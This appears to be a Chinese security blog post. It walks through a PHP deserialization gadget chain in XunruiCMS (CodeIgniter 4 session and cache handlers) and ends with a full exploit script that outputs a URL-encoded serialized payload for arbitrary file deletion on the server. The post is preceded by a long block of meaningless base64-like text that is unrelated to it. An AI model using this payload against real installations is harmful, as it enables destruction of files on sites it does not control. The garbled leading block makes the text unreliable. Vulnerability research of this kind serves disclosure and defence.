ZPERJd/isJTCRL3qkis64uuLeWibNEtZCDjyq3bR59yMGaoG7XrE9LNSVsOAx6ybZol20EjumsGAAAAABRJ0ygPmjd+6oecSpxAIdM3YjWNVBCqtiELbAWOEEp6Nh4jOrjXlFd+VtbQVpPbYBLFg03FppcoLLinQH8AAAAATcI384txogqDQnZIFBb8TweR4/gHQTBUtVqoyqu4esTqA7IVpjLs2gUAAAAAhUE0+x+LBwAAAADg66EpV5gCAAAAAPC9AcoDAAAAAADFAcoDAAAAAADFAcoDAAAAAADFAcoDAAAAAADFwayqlcPTrgAAAAAAAOjAzC75Zh7pAQAAAADAtw7MtgAAAAAAoDhAeQAAAAAAoDhAeQAAAAAAoDhAeQAAAAAAoDhAeQAAAAAAoDhAeQAAAAAAoDi+7S21xXkZ2RnvOJjD/cggGFa2zppaek1rFUCGgwXxIgPLkIZORgAAAOCb4BtWHlnvX104c8zUxEhZua4VlZVVT588Chw+RlvPuGltkwpO5ccK5ZZayk1tx7eJgwXpo/BArAAAAHyFfMPK47+XTzu7OA7s78c7wuFwTp25fPbY/kHDxrQ0MG1C2+iD8bMdgzvvtth7Zc9Y/a/pcbK4Nit+z//2XH/faW7MTC+1uoP4VfTU6f8W8yfU6L30Urij5AK54xbUoxeyjW3wsvBnp1AkAAAAQBPyDSuP6uoqU2N9/iMMBmNoUL+z569EH9whlFhVVcXG1s69x2Alpa+tyVbdJ/1PSderZVPbwQNjXP5f1J+LZ58q0NHKSDX4xGk4V5uS9G8cMXZLQDvefZ1pbSC5TJ4mkCg+eOkpjsBgBgAAwLfL13YbbiwMBiNocN/OLo4YC9ycqqqqY67c0Na+49C1V1PZJhaC0O44ckXHpjZDAPa/6wbOz5zw9/GJnM1dRwqcysvM4rTzGjFthL0U5QlJDTLxIZqM7JRoRrHvAQAAgK+QJtvbEn/3SmF+tujxwvzs+LtXGlMyQRBtLMws25jzv+xs23VytM/6kC6UGH+6sm5Yl5+Ov+dghBDCuPD6Lx6jF/6TjxHGJVcWd56080lD4swDC/oHn0qvOzXr4PP0mGVLxnTu69Vpwg+RD3Nr65LVnX30OmrmzAHm7j9fklgU/6nq9DN/zx8c6mvRN6DX4g3HUsr4y0x8d3r+vGF2AwYHrTr6qBJXvP7nh4UjHf19usz67Xh6VX3hrJxH+2fPHGzfy816WNjkQw/zpfSgddDRxF2Lh7fRFLmL52akIWtjIykKEysauOJDKBn3L/cl1ajGiwzMfQm9BwAAAL5Cmkx5aGhoxt24ICQ+CvOz425c0NDQ/BI1Kikpsdls4aPafUYGG91c/fP1IoQQqry3KjIK9Zk4pBWBEGJX5D5NL6luSMwqyXrx/lNN3amXZ3/445K614T1yxaH6j5eMmPBnqy6eQl2Re7T59HT11zT7j71z99CHCUWxTvFTv57xsCR/9Z6jV6++8fRHuXnQsfP2ZvFqa/xzIKt9y0Hz1wz1uPz7Z+CfpwXtv5x24AZkXNCnfIOjFx86DVCCGPO251BEX+/az/q98itm0fYpu2aMv1SjhR3YkKpvYubkZK4sYOK3LQidf3qpJ1/r5yyfMWKwxeffhLxKD9CGkJoxkToI7964KXnvoTeAwAAAN8uTTbb4ujqxeZw4m5c8Oo10KCVKaqXHW2s7RxdvRRmBkEQZsM3zTrdacOf172WGBxc/bfenAehHVTo5M2v8N2+4acOTIRQTxetjL7hp+ILpg6tHw8oYgbv27GoLRMhhDAupFMgxgUxG5e86LbzwqYxhgyEkL93J/3Fa2Offphg2hohhPLZfef9NsuSibCvU83jtmuejo2+PtOBibC3v1Hhv+Pi7hVPttNF6Q+vPzQOeThnVFeEkKubm637Y1VlFkJy2DyTn/0eVT3ZvqHcp7OFUsG1/bNWHeq3b8+WMHMl4ZRciUA99sATH2KXiErMLlSX6HsAAADgK6Qp13k4d/VBCHHFB/dNG2s77sHGw+Ioldeq1XCUMK67Fdm4+lvYfhJNSTDbj/h15eUBC9ZU61/m/HRgsosKvZuXTjfPDvX+U+vg1B5dyslFqF556Lt5tJXWu+xH8Vcq+m4faVg/FKXW6YeNRxFCiLtqRa+rmyUTIYQIwsraXht96MC95ROEkoFxG3Sv8CNCuqiVlY1JxvEVf3dYPKi7m7lOK8c+/aS0gxTL8dduD67WMDJUZyCMOZ8SlkwOmbmpb591g4UnYGiKBvqLOegUAntbAAAAvn6aeIUpT3wghOQrO4o/t7j3ujYhpar6c92tiMFANqYaAa5IWeQLOrPDzKnDfp92NHnwjlP2anRr0VBX5ytCWRmxOXz3TRVl6X1bkPGhxsrdhHTERVVZcNxCicGbLSNQ3Y2WIDS9Fp5fyli0b6H3tipdK6+hg8MWhAXYqsvjRsxQ0dI30aqviKHTdfG4/pFLYxNqBw1Ublz5vCkV3hHRtSC84xQfJR4HAAAAmpam39vCUxvykh0IofJatftvavfdqOzrrKylUSc02Gx
<p blockindex=55>经过一番查找,找到这个可以用</p>
<pre blockindex=56><code class="hljs language-php"><span class=hljs-comment>//\xunruicms\dayrui\CodeIgniter\System\Session\Handlers\MemcachedHandler.php </span>
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>close</span>(<span class=hljs-params></span>): <span class=hljs-title>bool</span>
</span>{
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>-&gt;memcached)) {
<span class=hljs-keyword>if</span> (<span class=hljs-keyword>isset</span>(<span class=hljs-keyword>$this</span>-&gt;lockKey)) {
<span class=hljs-keyword>$this</span>-&gt;memcached-&gt;delete(<span class=hljs-keyword>$this</span>-&gt;lockKey);
}
<span class=hljs-keyword>if</span> (! <span class=hljs-keyword>$this</span>-&gt;memcached-&gt;quit()) {
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
}
<span class=hljs-keyword>$this</span>-&gt;memcached = <span class=hljs-literal>null</span>;
<span class=hljs-keyword>return</span> <span class=hljs-literal>true</span>;
}
<span class=hljs-keyword>return</span> <span class=hljs-literal>false</span>;
}
</code></pre>
<p blockindex=57>这里的<code>$this-&gt;memcached</code><code>$this-&gt;lockKey</code>都可控,这里也可以触发任意类的<code>__call</code>方法,也可以触发任意类的<code>delete()</code><code>quit()</code>方法</p>
<p blockindex=58>这里优先选择<code>delete()</code> ,因为其参数<code>$this-&gt;lockKey</code>可控</p>
<p blockindex=59>全局搜索<code>delete()</code>方法,找到这个</p>
<pre blockindex=60><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>delete</span>(<span class=hljs-params></span>) </span>{
@unlink(<span class=hljs-keyword>$this</span>-&gt;fullname);
}
</code></pre>
<p blockindex=61><code>$this-&gt;fullname</code>可控,这里可以任意文件删除了,但是这是无参数方法,不能跳转到这利用</p>
<p blockindex=62>还一个:</p>
<pre blockindex=63><code class="hljs language-php"><span class=hljs-comment>//\xunruicms\dayrui\CodeIgniter\System\Cache\Handlers\FileHandler.php </span>
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>delete</span>(<span class=hljs-params><span class=hljs-keyword>string</span> <span class=hljs-variable>$key</span></span>)
</span>{
<span class=hljs-variable>$key</span> = <span class=hljs-built_in>static</span>::validateKey(<span class=hljs-variable>$key</span>, <span class=hljs-keyword>$this</span>-&gt;prefix);
<span class=hljs-keyword>return</span> is_file(<span class=hljs-keyword>$this</span>-&gt;path . <span class=hljs-variable>$key</span>) &amp;&amp; unlink(<span class=hljs-keyword>$this</span>-&gt;path . <span class=hljs-variable>$key</span>);
}
</code></pre>
<p blockindex=64>其中$key是上面传来的参数<code>$this-&gt;lockKey</code> 并且<code>$this-&gt;prefix</code><code>$this-&gt;path</code>也可控 ,可以看到后面会将<code>$this-&gt;path</code><code>$key</code>进行拼接,进行判断是否是文件,如果是文件则调用<code>unlink</code>方法进行文件删除</p>
<p blockindex=65>现在主要关注<code>validateKey</code>方法对$key的处理</p>
<pre blockindex=66><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-built_in>static</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>validateKey</span>(<span class=hljs-params><span class=hljs-variable>$key</span>, <span class=hljs-variable>$prefix</span> = <span class=hljs-string>''</span></span>): <span class=hljs-title>string</span>
</span>{
<span class=hljs-keyword>if</span> (! is_string(<span class=hljs-variable>$key</span>)) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>InvalidArgumentException</span>(<span class=hljs-string>'Cache key must be a string'</span>);
}
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$key</span> === <span class=hljs-string>''</span>) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>InvalidArgumentException</span>(<span class=hljs-string>'Cache key cannot be empty.'</span>);
}
<span class=hljs-variable>$reserved</span> = config(<span class=hljs-string>'Cache'</span>)-&gt;reservedCharacters ?? <span class=hljs-built_in>self</span>::RESERVED_CHARACTERS;
<span class=hljs-keyword>if</span> (<span class=hljs-variable>$reserved</span> &amp;&amp; strpbrk(<span class=hljs-variable>$key</span>, <span class=hljs-variable>$reserved</span>) !== <span class=hljs-literal>false</span>) {
<span class=hljs-keyword>throw</span> <span class=hljs-keyword>new</span> <span class=hljs-built_in>InvalidArgumentException</span>(<span class=hljs-string>'Cache key contains reserved characters '</span> . <span class=hljs-variable>$reserved</span>);
}
<span class=hljs-comment>// If the key with prefix exceeds the length then return the hashed version </span>
<span class=hljs-keyword>return</span> strlen(<span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>) &gt; <span class=hljs-built_in>static</span>::MAX_KEY_LENGTH ? <span class=hljs-variable>$prefix</span> . md5(<span class=hljs-variable>$key</span>) : <span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>;
}
</code></pre>
<p blockindex=67>这个方法,在确保传入的$key不为空并且是字符串的前提下才能正常进行下面操作</p>
<pre blockindex=68><code class="hljs language-php"><span class=hljs-variable>$reserved</span> = config(<span class=hljs-string>'Cache'</span>)-&gt;reservedCharacters ?? <span class=hljs-built_in>self</span>::RESERVED_CHARACTERS;
</code></pre>
<p blockindex=69>获取配置中的保留字符列表。如果 <code>config('Cache')-&gt;reservedCharacters</code> 存在,则将其赋值给 <code>$reserved</code>;否则,使用 <code>self::RESERVED_CHARACTERS</code> 的默认值。</p>
<pre blockindex=70><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-keyword>string</span> <span class=hljs-variable>$reservedCharacters</span> = <span class=hljs-string>'{}()/\\@:'</span>;
</code></pre>
<pre blockindex=71><code class="hljs language-php"><span class=hljs-keyword>return</span> strlen(<span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>) &gt; <span class=hljs-built_in>static</span>::MAX_KEY_LENGTH ? <span class=hljs-variable>$prefix</span> . md5(<span class=hljs-variable>$key</span>) : <span class=hljs-variable>$prefix</span> . <span class=hljs-variable>$key</span>;
</code></pre>
<ul blockindex=72>
<li>首先,计算添加前缀后键的长度是否大于预定义的最大键长度 <code>static::MAX_KEY_LENGTH</code></li>
<li>如果大于最大键长度,则返回将 <code>$prefix . md5($key)</code> 处理后的哈希值作为缓存键。这是为了确保最终返回的键不会超过最大键长度。</li>
<li>如果小于等于最大键长度,则返回将 <code>$prefix . $key</code> 拼接作为缓存键</li>
</ul>
<p blockindex=73>经过测试在delete方法中如果传入<code>$key</code>为要删除的文件名,在经过<code>validateKey</code>处理后不会对key照常改变直接返回<code>key</code>,而<code>$this-&gt;prefix</code>不需要修改,默认就行</p>
<p blockindex=74>在拼接文件路径的<code>$this-&gt;path</code> 可以是绝对路径也可以是相对路径默认是public目录下</p>
<p blockindex=75>在写exp的过程中遇到一个问题就是类的属性都是<code>protected</code>类型的,不能直接修改值</p>
<p blockindex=76>因为这个cms安装条件是PHP7.4+ , 由于<code>PHP7.1+</code>对属性类型不敏感 可以将<code>protected</code>修改为<code>public</code>类型</p>
<h2 blockindex=77>最后的exp</h2>
<pre blockindex=78><code class="hljs language-php"><span class=hljs-comment>//任意文件删除 </span>
<span class=hljs-meta>&lt;?php</span>
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>;
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>BaseHandler</span>;
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>MemcachedHandler</span>;
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>RedisHandler</span> <span class=hljs-keyword>extends</span> <span class=hljs-title>BaseHandler</span>
</span>{
<span class=hljs-keyword>public</span> <span class=hljs-variable>$redis</span>;
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__construct</span>(<span class=hljs-params></span>)
</span>{
<span class=hljs-keyword>$this</span>-&gt;redis =<span class=hljs-keyword>new</span> MemcachedHandler();
}
}
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>;
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>BaseHandler</span>;
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>FileHandler</span>;
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>MemcachedHandler</span> <span class=hljs-keyword>extends</span> <span class=hljs-title>BaseHandler</span>
</span>{
<span class=hljs-keyword>public</span> <span class=hljs-variable>$memcached</span> ;
<span class=hljs-keyword>public</span> <span class=hljs-variable>$lockKey</span> ;
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__construct</span>(<span class=hljs-params></span>)
</span>{
<span class=hljs-keyword>$this</span>-&gt;memcached=<span class=hljs-keyword>new</span> FileHandler();
<span class=hljs-keyword>$this</span>-&gt;lockKey = <span class=hljs-string>"1.txt"</span>; <span class=hljs-comment>//文件名 </span>
}
}
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>;
<span class=hljs-keyword>abstract</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>BaseHandler</span>
</span>{
}
<span class=hljs-keyword>namespace</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>;
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Session</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>BaseHandler</span>;
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>FileHandler</span> <span class=hljs-keyword>extends</span> <span class=hljs-title>BaseHandler</span>
</span>{
<span class=hljs-keyword>public</span> <span class=hljs-variable>$path</span>;
<span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>__construct</span>(<span class=hljs-params></span>)
</span>{
<span class=hljs-keyword>$this</span>-&gt;path=<span class=hljs-string>"./"</span>; <span class=hljs-comment>//路径 </span>
}
}
<span class=hljs-keyword>use</span> <span class=hljs-title>CodeIgniter</span>\<span class=hljs-title>Cache</span>\<span class=hljs-title>Handlers</span>\<span class=hljs-title>RedisHandler</span>;
<span class=hljs-variable>$str</span> = serialize(<span class=hljs-keyword>new</span> RedisHandler());
<span class=hljs-variable>$newStr</span> = str\_replace(<span class=hljs-string>'\\'</span>, <span class=hljs-string>'\\\\'</span>, <span class=hljs-variable>$str</span>);
<span class=hljs-keyword>echo</span> urlencode(<span class=hljs-variable>$newStr</span>).<span class=hljs-string>"\n"</span>;
</code></pre>
<h2 blockindex=79>END</h2></div></div>
</div>
<div class="post-opt mt-30">
<ul class="list-inline text-muted">
<li>
<i class="fa fa-clock-o"></i>
发表于 2024-03-13 09:44:03
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>